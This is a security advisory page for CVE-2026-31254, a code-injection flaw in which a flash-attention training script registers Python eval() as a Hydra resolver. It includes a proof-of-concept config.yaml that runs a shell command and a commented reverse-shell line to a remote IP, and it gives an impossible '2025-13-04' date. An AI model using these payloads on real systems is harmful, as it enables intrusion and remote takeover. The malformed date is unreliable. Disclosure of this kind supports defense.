Security Vulnerability Report
中文
CVE-2026-31254 CVSS 7.3 HIGH

CVE-2026-31254

Published: 2026-05-11 17:16:20
Last Modified: 2026-05-12 20:16:34

Description

The flash-attention project thru commit e724e2588cbe754beb97cf7c011b5e7e34119e62 (2025-13-04) contains a code injection vulnerability (CWE-94) in its training script. The script registers the Python eval() function as a Hydra configuration resolver under the name eval. This allows configuration files to execute arbitrary Python code via the ${eval:...} syntax. An attacker can exploit this by providing a malicious configuration file, leading to arbitrary code execution when the training script is run with that configuration.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

flash-attention <= commit e724e2588cbe754beb97cf7c011b5e7e34119e62

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Malicious Hydra configuration file (config.yaml) # This configuration triggers code execution when loaded by the vulnerable training script. model: name: "resnet50" # The resolver 'eval' is registered to Python's eval() # This payload executes the 'id' command on the host system layers: ${eval:__import__('os').system('id')} # Example for a reverse shell (Linux) # payload: ${eval:__import__('subprocess').call(['/bin/sh', '-c', 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'])}

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31254", "sourceIdentifier": "[email protected]", "published": "2026-05-11T17:16:20.423", "lastModified": "2026-05-12T20:16:34.317", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The flash-attention project thru commit e724e2588cbe754beb97cf7c011b5e7e34119e62 (2025-13-04) contains a code injection vulnerability (CWE-94) in its training script. The script registers the Python eval() function as a Hydra configuration resolver under the name eval. This allows configuration files to execute arbitrary Python code via the ${eval:...} syntax. An attacker can exploit this by providing a malicious configuration file, leading to arbitrary code execution when the training script is run with that configuration."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-95"}]}], "references": [{"url": "https://www.notion.so/CVE-2026-31254-35d1e139318881a19003f0d635ff00df", "source": "[email protected]"}]}}